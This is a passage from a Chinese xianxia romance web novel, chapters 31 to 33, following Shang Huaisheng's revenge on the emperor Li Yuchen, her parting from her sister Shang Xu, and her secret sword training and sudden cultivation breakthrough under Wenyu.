问玉露出一丝赞许的笑容,李昱辰看着两人,眼神从震惊到疑惑,再到释然。 商怀笙只是在吓唬他,他清楚商怀笙的秉性,她不会杀李承允的。 她只是想让他体验一下失去亲人的恐惧,那一瞬间,他的确感到全身血液冰凉,如坠冰窖。 李昱辰露出笑容,癫狂,讥讽,自嘲,“怀笙,我就知道,你是个深明大义的人。” 商怀笙收起匕首,“所以你特地找我来,不断地刺激我,是为了什么?” “我想确认你不会杀我的儿子。怀笙,我欠你们姐妹的,此生无法偿还了,我只求你能放过承允,整个大庆只有你和我知道国库的位置,若我死了,我希望你能继续庇佑大庆江山。” “你害死我家人,伤害我妹妹,你凭什么以为我会帮你们李家守住这江山?”商怀笙瞪他一眼,“我现在可恨不得杀了你呢。” “因为你的名字,因为你的妹妹,她深爱着这片土地。”李昱辰道,“怀笙,我了解你。” 商怀笙咬咬牙,再次掏出匕首,手起刀落,斩下一截李昱辰灰白的发丝,“你少做梦了!你看不到你的江山千秋万载,你会在死后进入地狱,永世不得超生!” 发丝缓缓飘落到地面,像他即将结束的生命,李昱辰抬起头,眼前寒光一闪,匕首刺入他的大腿,带来剧痛。 “啊——!!” 李昱辰嚎叫不止,苍老的声音如同老旧的风箱,发出“嗬嗬嗬”的声响。 血液弥漫开来,鲜红刺激着李昱辰的双眼,侍卫闻声冲进来,书房中只有李昱辰一人,他按住了要去追杀刺客的侍卫。 “没有伤及要害,叫太医即可。此事不得告诉任何人。” 腿伤疼痛难忍,李昱辰咬唇,腮边热泪滚落,眼中庆幸与后怕交织,化作一声陈叹。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 第三十一章 分别 祈星台, 天上乌云笼罩,没有一丝亮光,狂风吹得四周树木摇晃不止, 是暴雨将至的前兆。 “解气了?”问玉道。 “不解气!”商怀笙手扶在石台上, 指缝中渗出温热的液体,“我恨不得杀了他,把他扒皮抽筋, 用怨毒的诅咒让他永世不得超生!” “你可以这样做。”问玉看到她手上的鲜血,眸光微动,“我就当不知道。” 商怀笙微愣,以为他在说反话,扭头看去却见问玉一脸的认真,她冷哼一声, “你会这么好心?我要真杀了凡人, 你肯定将我押回去审问, 门规处置。” “他不算无辜。” 问玉犹豫许久,还是告诉了商怀笙。 被蒙蔽的滋味并不好受, 她也有权利知道自己亲人受害的真相。 商怀笙心结难解, 所以无法通过前尘镜,也没有办法完全掌控断龙——不是断龙不肯认她,是她在排斥断龙。 他从前不清楚商怀笙的过往,理所当然地以为是她劣根难解。 雨突然落下, 有倾盆之势, 雨珠被风卷进祈星台, 很快打湿商怀笙的衣襟。 问玉上前把她拉过来,掏出手帕,擦去她手上的血迹, “你如果决定放过李昱辰,我们明日便回去,但你要保证,你以后能够心无旁骛的修行,不再被过往困扰。” “我从没被困扰过。” “嘴硬。” 商怀笙攥住那方手帕,感觉此时的问玉温柔至极,心中有什么冲动在冒头,她问:“我杀了人也可以吗?” “可以,这是你需要了断的前尘。但是只能是李昱辰,不能滥杀无辜。” 商怀笙从他脸上看出宠溺纵容的神色,心脏跳的厉害,“你为什么这样对我?你从前不是很讨厌我?” 问玉微怔,他也说不清自己为何非要去管商怀笙的事情,或许是因为她被断龙认为主人,而他又和断龙缘分匪浅。 也许是那日商怀笙得知自己家人去世时落的眼泪,让他动了恻隐之心。 在商怀笙期待的目光中,问玉扯过自己的手帕,收回袖中,“哪有那么多为什么!帮你你就该感恩戴德!” “……好好说话不行吗?有病。” 商怀笙心底聚起的异样情绪瞬间烟消云散了。 问玉还是那个问玉,性格恶劣,十分恶劣! * 商怀笙还没回去,商叙就要走了。 与商怀笙相认那日她哭了半天,第二天醒来却不认了,板着脸说自己不需要商怀笙这个姐姐。 商怀笙才不管她说什么,每日去她房间探望,送些新奇玩意儿,商叙没赶她走,只是不怎么爱搭理她,在一旁看兵书,商怀笙絮絮叨叨地说个没完,她也没不耐烦。 陆雪青开玩笑说,现在的商叙更像个姐姐,商怀笙才是那个调皮的妹妹。 其实商怀笙听了这话有点难受。 她在李昱辰手下那两年过得如同噩梦一般,后来被带去四水阁,虽然打打闹闹,但有师兄师姐照料,有同门好友相伴,那段日子已经淡出脑海。 商叙却是一直生活在李昱辰的阴影中,现在也没能摆脱。 看着沉默寡言的商叙,商怀笙想杀了李昱辰的心再次复燃。 她正酝酿着计划之时,看书的商叙忽然抬头,道:“我要回云月都了。” “这么突然?” “本来会面结束后就该离开的,因为突发状况才逗留这几日。” 刚刚找到自己的姐姐,商叙其实也不想离开,商怀笙虽吵闹,却让她难得体会到家人在身边的安稳。 但云月都是军事重地,又靠近北方妖魔聚集之地,鱼龙混杂,除军区外,秩序混乱。 “这月中旬鬼市开放,溟都和附近部落都会进城,需得有人坐镇。陛下已经免了我殿前失礼的罪责,也不用我前去辞行,所以明早我便会出发。” 商怀笙看了她半晌,惊叹出声,“哇,你现在真像个成熟稳重的大人。” 商叙翻了个白眼,“我怎么会有你这种幼稚的姐姐?” 商怀笙两眼放光,掏出自己的储物囊翻翻找找,将里面的东西一件件摆在桌面上: “这是轻音卷,你可以随时联系我。” “这个是镇魂钟,能够驱除妖魔,除非那种道行很深的大妖,一般的妖魔都会惧怕钟声。” “这是百木千甲,刀枪不入,还可以贴合使用者的身材。” “还有这个宝塔,可以收妖怪,寻常妖怪在里面待上二十一天就会化为血水,不过这个除非紧急情况不要乱用,妖怪也不全是坏妖。” “还有……” 商叙看得眼花缭乱,“够了,我不需要这些。” 商怀笙一一给她介绍完,又塞了回去,直接把整个储物囊都交给她,“你留着吧,也不是什么贵重东西,抵御人间的小妖小魔是够用了。” “我不要——” “给你你就收着,假客气什么!”商怀笙塞进她袖子里,死死按住她手腕。 商叙也是力能扛鼎之人,在她的铁腕下动弹不得,神色复杂道:“你果然是天生神力。” 商怀笙趁机摸了摸她的脑袋,“你也不赖。百战百胜的商大将军。” 商叙轻笑一声,“我没有民间传的那样厉害,几次死里逃生只不过是运气使然……也许是有你庇佑的缘故。” 每一次以为自己要死的时候,她不求神不求佛,只是向自己的姐姐祈祷。 她最后一句说得很轻,商怀笙没听清,问道:“你说什么?” “没什么!”商叙起身,甩开她的手,“我得回去收拾了。下次再见,我请你喝云月都的佳酿。” “好啊。”商怀笙笑道,“等我处理完宗中的事情,就去云月都找你玩。” 商叙侧目瞧她一眼,眸中溢出笑意,“一言为定。” * 商叙说是早晨离开,其实夜里就走了,她不想跟商怀笙道别,有些情绪不该出现在她身上,也怕自己会舍不得。 商怀笙说可以带她回宗门,但她身上有云月都的担子,商怀笙已经入道,脱离凡尘,而她还要继续守护大庆的疆土,守护百姓的安宁。 她们注定没办法做普通的姐妹。 商叙悄悄地走了,商怀笙也悄悄地送了她一程。 夜深露重,林间传来虫鸣,马蹄踏过松软的泥土,偶尔踩断枯枝,惊起夜栖的飞鸟,他们的队伍像一条蛇游走在林间,风灯在树影中摇曳,商叙抬眸望天,繁星点点,月光皎洁。 她不是第一次离开日曜城,却从没有像现在这样沉重和不舍,就像从前离开渔村,离开家人,本以能够像姐姐一样保家卫国,也能将亲人接到城中居住,却不想竟是永别。 但商怀笙说了,她们一定还能再见面。 想到这里,商叙的心情平静许多,内心重新充满了希望。 她们总有再见面的一天。 清晨,薄雾渐渐升起,轻纱般缭绕在林间,商叙的身影也逐渐消失在视线中,秦湫拍拍商怀笙肩膀,“该回去了。” 商怀笙嗯了一声,脸色平静,眼眶微红,“师姐,我为什么要修道?” 秦湫微顿,道:“商叙保家卫国,是她的道,你斩妖除魔,守卫苍生,是你的道,你们俩殊途同归。” “我心里可没什么苍生。”商怀笙小声念着,转身挽起她的肩膀,“师姐,我饿了,我们去吃早点吧。” “好。” 商叙离开日曜城后,商怀笙他们也准备离开了。 高湘儿穿过长眠海,去往鬼界投胎转世,许鲜伤势大好,已经能维持人形,迫不及待地回了他的医馆。 日曜城中的修士少了大半,凌盛一行人也再没出现过,想必也是回去了。 齐物汇夜里还是热闹非凡,恶妖伏诛,一切似乎都回到了原本的模样。 商怀笙来这一遭只顾着忙商叙的事情,都没来得及好好逛一逛,离开的前一个晚上,元妄要带她去“见见世面”。 他要履行生辰时的承诺,给商怀笙找个貌美温柔的男子开荤。 元妄刚提起来的时候,商怀笙还有几分忸怩,元妄以为她不懂男女之事,对亲密只停留在亲亲抱抱的层面。 但她不仅懂了,还在问玉身上实践过,只是当时被情蛊控制,意识不大清醒。 元妄为她写好了剧本,“我们去日曜城最大的乐楼,莺啼小筑,我听闻那里有个乐师不仅琴技极佳,样貌也出挑,最重要的是他卖艺不卖身,清清白白。” “届时我捏几个傀儡,装成醉汉来挑事,你出手相助,英雄救美,如何?” 商怀笙觉得这剧情很老套,但她爱看,于是点点头,“我觉得不错。” 秦湫也点点头,“确实不错。” “……” 突然出现的秦湫把两人都吓了一跳,元妄双眼瞪大,跳到商怀笙身后,“你怎么在这儿?” “陆公子来给怀笙送别,我在客栈没找到你们,便猜到你们来了这里。” 秦湫盈盈笑着,笑里藏刀,元妄忍不住咽了下口水。 商怀笙一歪头,果然看到不远处黑着脸的陆雪青,抿着唇,神色幽怨又委屈。 “是我来的不巧了。扰了你的好兴致。” 商怀笙摸摸鼻子,莫名生出一丝心虚来,再一抬头,元妄和秦湫都走了,剩下她和陆雪青两两相对。 商怀笙孤立无援,左右环顾,有种撒腿就跑的冲动,她讪笑一下,道:“不,你来的刚刚好,我还没进呢。” 她就站在莺啼小筑的对面,隔着一条街,听着里面传来悠扬的乐声,越来越激昂的鼓点,将两人之间的氛围衬托得更加紧张。 商怀笙不太擅长处理这种情况,实际上她也根本没处理过,在四水阁没人会这样明目张胆地表达对她的爱,热烈又深情,让她感到无措。 “来都来了,进去瞧瞧吧。”陆雪青似乎是轻叹了一声,走过来与她并肩,语中带着无奈的笑意,“怀笙,你不用这样紧张,你和我并没有任何关系。” 他看出了她的无措,出言安慰,陆雪青心里清楚那些只是商怀笙逗他时候的玩笑话,他不想让这些成为两人之间的枷锁,却也因为商怀笙的反应感到一丝窃喜——其实她还是有一点点在意他的。 他像变戏法似的变出一袋龙井茶酥,商怀笙眼前一亮,“你怎么知道我爱吃这个?” “秘密。”见她放松下来,陆雪青带着她进了乐楼,“师兄说的那个乐师我认识,他的确有几分姿色。” 两人来到一间包厢,乐楼内视野最好的地方,能清楚看到大厅中央的圆形舞台,深红色的织金地毯在灯光下折射着炫目的光彩,台上舞姬衣袂翩翩,帘幕微动,二楼的乐师们的样貌若隐若现。 商怀笙一眼便猜到他们口中的乐师是谁,在一众美人中,他俊美得出类拔萃。 但她只是瞥了一眼便没了兴致,好看是好看,只是不及问玉。 见她低头吃茶点,陆雪青唇角扬起,道:“味道如何?” “好吃,人间总有些味道奇特的糕点。我在山上都吃不到。” “你以后可以常常过来。”陆雪青眼中暗含期待。 商怀笙说:“我忙得很。” 忙着修行,打架。 陆雪青期待落空,有些落寞,“我以后还能再见你吗?” “可以啊,四水阁明年便招生了,你可以来试试。” 陆雪青笑得无奈,“怀笙想做我师姐?” 商怀笙道:“我师父现在不收徒了,到时候你是我师侄。” “那我不要。”陆雪青露出几分稚气,“我要与你做平辈。” 商怀笙摇摇头,“我师父收徒讲究缘分,你若是入不了他的眼,再天资聪颖他都不会收的。” 她一本正经地说着,口中嚼着糕点,眼眸中映着闪动的烛光,格外可爱。 陆雪青脸上漾开笑容,“如果我拜入别的宗门呢?” “那我就不知道了,你不要拜入三山宗就好,不然我们就是敌人了。” “为何?” “说来话长。其实我自己都不太清楚。” 商怀笙不想多费口舌解释这些,便转移话题,“你现在是落凤原的督主,前程大好,想什么修仙的事情?” “我想……就是随口说说。” 陆雪青垂眸,隐下眸中低落神色。 他想活着,想再见到商怀笙。 “我觉着李昱辰活不了太久,他遭到反噬,最长不会活过半年,到时候新帝登基,凭你的才学本事,定能位极人臣。” 这半年李昱辰会过得很痛苦,看着自己的皮肤一点点腐烂,身体变得千疮百孔却无药可医,商怀笙留他一命,也是觉得他死了比活着轻松。 李承允没有他父亲那样的谋略,但如果听话懂事,身边有忠臣辅佐,应该也会是个明君。 陆雪青便是他稳住江山的倚仗。商怀笙是这样想的。 她并不知道陆雪青命不久矣,也不知道他已经下定决心,要去天泉医谷拜师学艺,为了弄清楚自己的身世,也为了活得更久一点。 他早知道自己时日无多,但从前他也的确没有想活的念头,支撑他活下去的,一个是能再见商怀笙一面的幻想,一个是商叙的病。 现在商叙的病好了,他也如愿见到了商怀笙,可他却不想死了。 只要活着,以后或许他还能和商怀笙见面。 “怀笙,下次见面的时候,你要努力想起来小时候的事情,好不好?” “哎呀,你说这个干什么?” 商怀笙抬眸,却见他眼中似乎燃着火光,一向病弱的人此时反倒有种狂风不可摧折的坚定。 她顿了顿,点头道:“好吧,我努力。” * 商叙走的时候没告诉商怀笙,商怀笙走的时候也没告诉陆雪青。 他们在晨起日出之时离开日曜城,晨风微凉,卖早点的小摊前冒着热气,朝阳把山顶的皇宫染成璀璨的金色,护国寺的钟声响过六下,在悠扬余韵中,商怀笙一行人悄然消失。 几人归心似箭,回程的路比来时要快,这一走快一个月,商怀笙还有些想念丰宝他们。 但她回去先见到的,竟然是金田。 这家伙被闻惠拉过来,向她道歉,“对不起,是我先出手挑衅断龙,才被它打伤的。” 商怀笙没想到有一天能在金田口中听到“对不起”三个字,腰板一下子就挺起来了,“你说什么,我没听清。” 金田咬咬牙,“我说,对不起——!” “还是没听见。” “对不起!对不起!” 金田一大声,撕扯着伤口,疼得他龇牙咧嘴。 商怀笙心情甚好,把断龙唤来,“你招惹了我的剑,是不是也得对它道歉?” “商怀笙你别得寸进尺!” “是你人菜瘾大,害得我被误会!” “谁让你不好好管着你的剑!” “……” 两人和平相处了没有多久,又开始吵起来。 闻惠和秦湫各自转身,不想管。 日子好像又恢复了从前,但商怀笙比之前勤快许多,每日大早便起来修炼,师兄师姐们的课程也都跟着去学,往日懒散的人居然成了到的最早的,一堂课都没落下。 四水阁众人逐渐发现了这个每个课堂的小尾巴,丰宝几人见她课下都在抱着书,还是最枯燥无味的修真史录,简直惊掉下巴。 “你怎么开始学习了?还是学的这种东西,转性了?” “你下山一趟不会是被夺舍了吧?修仙史多无聊啊。” “怀笙,你是不是这次被误会之后,要好好修行,狠狠打三山宗的脸了?” 商怀笙被他们叨叨的头晕,抬起头来,面容憔悴,好似被妖怪吸干了精气,“你们说什么呢?我只是想知道南烬沙漠的常居种族和气候。” “南烬沙漠?那地方白日极寒,夜间酷暑,除了蛇形蛛,几乎没有妖怪能适应那里的环境。”傅秀轩脱口而出,不理解商怀笙为什么要找这个,“你想知道这些,得去看百妖谱啊,捧着修仙史看有什么用?” 商怀笙眼睛亮了亮,豁然开朗,激动地抱住傅秀轩,“原来如此,太感谢你了!” 说罢,兴奋地跑走了,一蹦一跳,仿佛范进中举。 余下的三人愣在原地,直到商怀笙的背影消失,丰宝才缓缓开口: “她不会真疯了吧?” 傅秀轩:“这次她是和问玉师叔一起去的,问玉师叔折磨人的手段了得,啧。” 沙巧:“那怀笙真的太可怜了,竟然逼成这样。” “可怜啊!” 三人连连摇头。 第32章 第三十二章 连升三阶 他们也没猜错, 商怀笙变成这样的确是因为问玉,但这件事情说出来不光彩,她谁也没告诉。 自她们从人间回来, 每隔三日, 她都会和问玉在三山宗的康山后山见面。 康山是问玉的居所,是三山宗最高最偏僻的山峰,与四水阁相距甚远, 商怀笙每次过去都要花小半个时辰,摸黑看不清路,还得小心翼翼地不被三山宗的人发现。 这天商怀笙一路疾驰,到达后山时,问玉已经等在那里,梨树下, 花瓣飞扬如雪, 桌上摆着热茶, 在夜明珠的光芒下蒸腾着热气。 他食指与中指间夹着一枚棋子,黑白棋盘山, 落满浅粉色花瓣, 花瓣同样落在他玄色衣摆上,像是绣上去的小花,庄重严肃中又生出几分可爱。 “我知道了,南烬沙漠白日极寒, 夜间酷暑, 只有蛇形蛛能在那里居住。” 商怀笙急急地跑到他面前, 带起的风卷起棋盘上的落花。 问玉头也没抬,道:“那你知道蛇形蛛身长多少,有什么习性吗?” 商怀笙的笑容顿时僵住, “你、你上次怎么不一次性问完?” “我给你出题,不只是让你找到答案。” “啊?出题不是为了答案,你耍我呢?” 问玉将棋子掷回盒中,“你平时就是这样修行的?读书是为了让你学得知识,你只知蛇形蛛,不知它身长,也不知道它的毒性,若是以后遇到又该怎么办?” 商怀笙板着脸道:“我又不会去南烬沙漠。” 问玉轻拍棋盘,“宋良白怎么会收你这么没上进心的徒弟?” “好好好,我知道了,下次我会好好读,认真读!”商怀笙有求于人,只能低三下四,“但我把你问的打出来,你是不是该履行承诺?” 问玉起身,身上的花瓣也随之飘落,“剑呢?” “这儿呢!”商怀笙一甩,将断龙横在两人中间,“我上次试了你的方法,它果然听话许多,随叫随到。” 问玉眸光一沉,伸手拂去断龙尾部的泥土,“怎么这么脏?” “我用它帮吕悠师姐挖了药草,它现在又听话,又好用。” “……” 问玉张开嘴,“滚”字就在唇边,被他强压下去,“断龙是神器!是你的灵器!” “师姐的锄头也是灵器啊。”商怀笙在断龙身上弹了一下,“它的锄头能挖土,断龙为什么不能?” “你真是……”问玉抚上断龙,它轻颤几下,似乎在诉说委屈,“你好歹将它擦干净。” “擦过了的。”商怀笙说着,又掏出手绢在剑身上擦了两下。 问玉闭了闭眼睛,无奈道:“罢了,我教你的清心诀练得如何了?” “滚瓜烂熟。” “背来听听。” 商怀笙看起来就不像是会背书的人,问玉对她没报太大希望,直到商怀笙一次不差地背完,他坐直身子,有几分意外。 “不错。”他赞赏地点头。 商怀笙咧嘴一笑,“小菜一碟。” “只不过背个最简单的清心诀,有什么好骄傲的?”问玉扬起一抹浅笑,“你现在是结器期?” 商怀笙笑容淡了几分,“识灵期。” 问玉惊讶,“你居然还未结器?是在升益期?” 商怀笙的笑容已经是硬挤出来的,“去年刚刚到了稳气阶段。” 问玉脸色变得有些难看,“你,当真是对修行半点不上心,十几年的时间,就算是没有灵根的凡人,也该到升益期了。” 商怀笙低着头,有几分心虚,“也不是没努力过。” 问玉眼神变化莫测,想起他出关以来的种种,对金田和商怀笙之间的矛盾有了更进一步的认知。 金田作为闻惠座下悟性最好的弟子,小小年纪已经是结器升益期,听闻最近已经摸到合灵期的门槛,可他在与商怀笙的对战中居然屡战屡败,怪不得他咽不下这口气。 这样想着,问玉有几分好奇,“商怀笙,都说你天生神力,我倒想见识一下,你到底有几分实力。” “我吗?” 商怀笙看看四周,捏起一枚棋子,轻轻一捻,棋子化作齑粉,随风飘散在空中,撒了两人一身。 “你……”问玉都没看清她的动作,脸色铁青,“这黑棋是墨玉做的,你就这么给我捏碎了?” 商怀笙正忙着掸去衣摆上的尘土,闻言,抬头道,“墨玉,很贵吗?” “一颗千金。” 商怀笙蹙眉,露出肉疼的表情,“你倒是早说啊。” 问玉脸色青一阵白一阵的,微笑着咬牙,“算了,也不是什么珍贵的东西。碾碎这颗棋子不需要太大的力气,修行之人……” 他蓦地想起商怀笙可能连如何运行真气都不熟练,更别说聚气了,能碾碎墨玉,说明她还是有点力气。 试探到这个地步,已经足够了,跳过那些废话,问玉教她该如何与自己的灵器共鸣。 “并非所有的灵器生来便是灵器,许多武器被锻造出来的时候,只是一个物件,是在器主的修行中,逐渐与器主产生共鸣,人器同修,渐渐地拥有了自己的意识。” “断龙作为神器,原先也是有剑灵的,只是在它的上一位主人神陨时,它的剑灵也随之而去,只残留些许灵识,加之从前吸收的怨气妖气魔气,所以断龙的意识十分混乱,在无主期间容易做出杀生之事。” 商怀笙听得似懂非懂,“你怎么了解的这么清楚?” 问玉道:“因为我也曾尝试过驯服它,成为它的主人。” 商怀笙惊讶,“没成功吗?” “要成功了哪有现在的你?”问玉神色无奈,“想要驯服断龙的人不计其数,你要知道,你做了多少人想做却做不到的事情。” 商怀笙摸摸鼻子,“这是值得骄傲的事情吗?” “是。”问玉点头,“所以你不要怀疑你自己。” 商怀笙说:“我可没怀疑过自己!” “那就好。”问玉轻笑,伸手搭上断龙的剑柄,“像我这样,然后默念清心诀,你试一试能不能进入断龙的意识深处。” 商怀笙伸出两根手指,闭上眼睛开始默念,问玉看着她的脸颊,在昏黄灯光下显得异常乖巧温柔,全然没有平时与他抬扛时的叛逆。 他脑中不合时宜地想起离开日曜城的前夜,陆雪青来向他求去往天泉山庄的路线,眼中闪着亮光,说要与她再见。 年少时短暂的相处,竟能让他念念不忘这么多年,人类的感情当真是奇怪,只凭那一点模糊的记忆,也能凝聚出浓烈的爱意。 在他遗失的记忆里,那个女子,究竟会是谁,他们是不是也这样深爱着彼此? 问玉垂眸,目光落到商怀笙脸上,发现她眉头不知何时紧皱起来,嘴唇微微颤抖着,有几分苍白,似是有几分痛苦。 断龙弑杀嗜血,它所历经过的事情,不是一般人能够承受的。 “商怀笙,你如果感到不舒服,就停下来。”问玉出声提醒。 但商怀笙不仅没有反应,反而将剑握得更紧,全身都在用力,太阳穴随着咬牙的动作突突跳起,额间身处细密的汗珠,顺着抽搐的脸颊汇聚到下巴,砸在衣领之上。 “商怀笙?!”问玉暗道不好,伸手去抓她的手腕,还未触碰到她,便感到一股巨大的推力。 狂风乍起,梨花簌簌而落,以他们二人为中心卷起小小旋风,花瓣落到商怀笙肩头,却被无形的气劲瞬间震碎,化作灵光散去,周围的灵气如江河决堤,纷纷朝着商怀笙体内涌去。 问玉顿时明白了眼前的情况,商怀笙要破境了! 但商怀笙显然没有经历过这样的情况,那浓郁灵气在她周围盘桓,又突然冲出,似乎找不到合适的路途,问玉没有犹豫,抓住商怀笙手腕,以自身真气为引,将她的体内暴涨的灵气指引到合适的地方,贯通筋脉,落于丹田。 不知过了多久,风止花落,商怀笙缓缓吐出一口浊气,眼中神光内敛,显出几分迷茫。 问玉松开手,两人相连的地方已经变得滚烫,他不自然地甩甩衣袖,道:“恭喜你,已经突破升益期。” 商怀笙盯着他,好半天才找回自己的声音,“不止,师叔,我好像已经在识灵期的稳气阶段了。” 问玉微愣,眼中多了几分担忧,“当真?你可有哪里不舒服?” 连升三阶,对身体是莫大的消耗。 商怀笙愣了下,摸着肚子说,“我饿了。” 问玉:“……” * 夜闯厨房这种事情,问玉记事起就从来没做过。 现在他一把年纪,不仅要做这种事情,还是带着四水阁的徒弟,闯他们三山宗的厨房——放在别的弟子身上,是要被他处以雷刑的。 问玉举着夜明珠,神色忧愁,更有几分焦急,“你吃饱了没有?少吃些!” “快饱了。”商怀笙一手抓着一块枣糕,“你们三山宗的馒头做的忒甜了!” “这是枣糕……四水阁不给你吃饭的吗?” “我很饿。” 眼看商怀笙把手伸向橱柜深处的烧鸡,问玉抓住她的衣领,“还要照顾那些没有辟谷的弟子,而且人总有口腹之欲,你别吃了!!” “口腹之欲都不能克制,还谈什么修仙!”挣扎间,商怀笙扯下一个鸡腿。 问玉把她扔到一旁,转身去收拾橱柜,“早知道就给你下点面条了,瞧你把这里翻的乱七八糟!” 商怀笙道:“我才不喝你做的面条,清汤寡水,一点味道都没有。” 问玉轻哼一声,“说得好像你喝过一样。” “……一看就知道你不会做饭。” 意识到自己说了什么的一瞬间,商怀笙的心脏提到了嗓子眼,还好问玉并没追问,不然她就把自己给暴露了。 她不经意地转移话题,“师叔,像我这样连升三阶的,是不是非常有天赋?” “自大。”问玉不情不愿地说,“是。” 商怀笙粲然一笑,“待我飞升,定会设宴好好感谢师叔。” “只不过是一个小小的结器期,你便如此狂妄?”问玉白她一眼,“结器期不过是修道的门槛,合灵期之后,每一次进益都难如登天。” 商怀笙想起丰宝她们曾说,问玉在合灵期瓶颈数年,一直未曾突破,不由得好奇,“师叔,听闻你天资卓越,一年便突破合灵期,之后却一直停滞不前?” 问玉嘴角微微抽搐,这事儿在三山宗四水阁人尽皆知,但敢在他面前直接提起的,商怀笙还是第一个。 “是。”既是事实,也没什么好否认的。 “为何?”商怀笙眼中只有纯粹的好奇,“师叔,你修的是无情道?为何从不见你的灵器?” 囚龙谷茅草屋的那把剑,只是把普通的铁剑,从没见问玉用过,修士灵器不离身,问玉身边却从不见灵器,偶尔御剑,用的也只是木剑。 问玉表情微僵,似乎不大愿意跟她聊起这些,顿了半晌,才道:“我没有佩剑。” 商怀笙惊讶不已,“啊?修士怎么会没有武器?” “我可以和任何灵器产生感应,即便是认主的灵器。” “那你岂不是无敌了?难怪断龙在你手里那么听话。” 商怀笙抓紧自己的断龙,生怕被他抢走似的。 问玉轻笑,笑容中带着几分无奈,“只能感应,却无法得到认可,我可以使用任何人的武器,却无法与它们共鸣……你能听懂吗?” 商怀笙认真地摇摇头,“不能。” “就像是租赁行的车马,我可以用钱财租用任何一辆马车,但他们的主人终究不是我。” 商怀笙似懂非懂,“哦,也就是说你一直没能找到只属于你的灵器。” “是。”问玉说着,看向她背在身后的断龙,眸底黯淡一闪而过,“时候不早了,你快回去吧。” 商怀笙道了声好,蹑手蹑脚从厨房离开,一出门便御剑而出,咻的一下便不见了踪影。 问玉被她这副鬼鬼祟祟的模样逗得想笑,一低头,发现刚才橱柜里的半只烧鸡被她顺走了。 “……小贼。” 问玉无奈,唇角漾开一抹笑意。 第33章 第三十三章 引梦香 商怀笙迫不及待地想把自己突破结器的消息告诉秦湫, 摸黑来到她房前,正欲敲门,又犹豫起来。 若是告诉了师姐, 她肯定要询问自己是如何突破的, 而商怀笙不愿对她撒谎,那势必就会暴露自己和问玉私下会面的事情…… 万一被丰宝他们知道,那她就成了通敌的叛徒, 定会被众人唾骂。 传到宋良白口中,那就更加完蛋了,宋良白会不会把她逐出师门? 商怀笙收回手,悄悄回了自己房间,这个时辰师姐定是睡下了,回头她再找机会告诉师姐。 躺在床上, 感受着体内真气的运行, 商怀笙心中有种微妙的感觉。 当时给问玉下药的时候, 她绝对没有想到自己会跟着问玉学习如何驾驭灵器。 虽然这违背了她的初衷,与他相处时商怀笙偶尔也会担心他会突然恢复记忆, 但在能够连跳三阶, 获得力量面前,那些都不足为惧。 日曜城临走前,商怀笙又去见了李昱辰一面,狠狠地恐吓了这个快要死的老东西后, 李昱辰告诉她一件事情。 “其实, 我不是偶然遇见你的, 在我落魄之时,有人告诉我,在你长大的那个渔村, 能找到助我成就大业的人。” 商怀笙问:“是天机阁的人?” 李昱辰想转转眼珠,“区区凡人,怎能探知仙人身份?” 商怀笙轻嗤一声,李昱辰张着嘴,似乎还有话要说,床榻边的宫灯忽明忽暗,在他脸上投下晃动的阴影,显得他更像是个死人一般。 他说曾经是真心想要收她做女儿,但商怀笙不信,煽情戏码骗骗旁人就算了,她木头脑袋一个,油盐不进。 对李昱辰所说给他指引之人,商怀笙第一个怀疑的便是天机阁,如今她又在断龙身上发现天工阁的盖羽飞甲,让商怀笙更加确信。 还有商叙身上的妖怪,连宋良白都不认识这种妖怪,觉得他像是被人为创造出来的四不像,它却能附身在商叙身上,十几年都没有修士发现。 若说这与修真界的人无关,商怀笙是万万不信的。 天机阁,天工阁,都与这修仙界第一大门派太虚殿关系匪浅,堪称太虚殿的左膀右臂。 潮海阁当今的阁主的生母,是天机阁上一任阁主的亲妹妹。 原先只存在于同门话语中的几大门派,突然被一根细线串联起来,密织成网,于黑暗中窥伺,似要将她网罗其中。 商怀笙觉得头疼,分析局势并不是她的强项,但有一点她很清楚,如果自己和家人的悲剧是因这些门派而生,那她应当报复回来。 修仙的另一个好处,是能给她足够长的寿命,让她查清楚这背后的真相,再一点点清算。 动了半天的脑子,商怀笙感到一阵疲累,突破后的消耗迟来地降临,她瞬间便失去意识,陷入沉睡。 * 康山后山,问玉坐在树下,棋盘上是未解的棋局,落满了梨花,像是下过一场雪。 他拂袖将花瓣挥散,坐回桌前,闲适地享受着独处的静谧时刻。 他这般度过了无数个夜晚,今天却有些坐不住,想起商怀笙破境的画面和在厨房胡吃海塞的模样,他敲着棋盘,忽然觉得今晚格外的安静,连一丝风声都没有。 空旷,寂寥,将人心中的孤寂无限放大。 问玉起身围着梨树转了两圈,面对着飘落的梨花,皎洁的明月,一股说不清道不明的情绪堵在心口,让他忍不住叹息。 他的康山鲜少有弟子拜访,商怀笙来修行这几日,倒是增添了几分生气。 在这清寂的夜色中,身后突然响起的脚步声如此响亮,问玉忍不住勾起唇角,今日不是他们约定的日子,商怀笙却还是来了,到底是年纪小,耐不住性子。 他强压下嘴角,做出冷静的模样,转身却看到了宋良白。 “师弟。”宋良白站在他的棋盘旁,低头扫了一眼,“你还在研究这些东西,若是觉得无聊,何不找点别的乐趣?” “……师兄。” 问玉的唇角弧度消失,心里有什么东西落了空。 宋良白观察细微,笑道:“怎么不笑了?你刚刚在等谁呢?等你兄长?” 问玉没回答他,反问道:“师兄深夜造访,所为何事?” “大半夜的来找你,当然是有要事。”宋良白清清嗓,摆出一壶清酒,“坐下聊?” 问玉撤了棋盘,给他腾出地方,“我不喝酒。” “我知道,这酒也不是带给你的。”宋良白仰头灌了自己一杯,问道,“你觉得怀笙如何?” “什么?” 问玉心脏一颤,名为心虚的情绪在心底蔓延。 原本同门弟子间指导对方徒弟不算坏事,反倒是同门和睦的表现,但宋良白与年玉分家已久,从前问玉对四水阁弟子也算不上亲近,那些晚辈对他颇有微词。 突然要指导商怀笙,仅仅是因为不想让断龙荒废在她手中而已,没想到这么快就被兴师问罪了。 宋良白神色如常,以为他没听清,又道:“我是说商怀笙,你们不刚从日曜城回来,这么快就忘了?” “我自然记得,师兄提起她作甚?” “怀笙虽然拜入四水阁十三年,但尚未行过拜师礼,严格来说,她并不算是我的徒弟。” 问玉愣住,眼珠一转,很快猜到宋良白的来意,“师兄这是什么意思?” 宋良白又饮一杯,脸上浮现微红,“我素来不喜欢拐弯抹角,就直说了。我很喜欢怀笙这孩子,也觉得她能大有作为,但我未必能教好她。” 宋良白的语调微微卡顿,听上去像是醉了,眼神却十分清醒,“当年你将断龙带回来,我们三个都想与它结契,但无一人成功……不过你与我和你兄长还是不同的,断龙对我们万分排斥,在你手中却非常乖巧。” 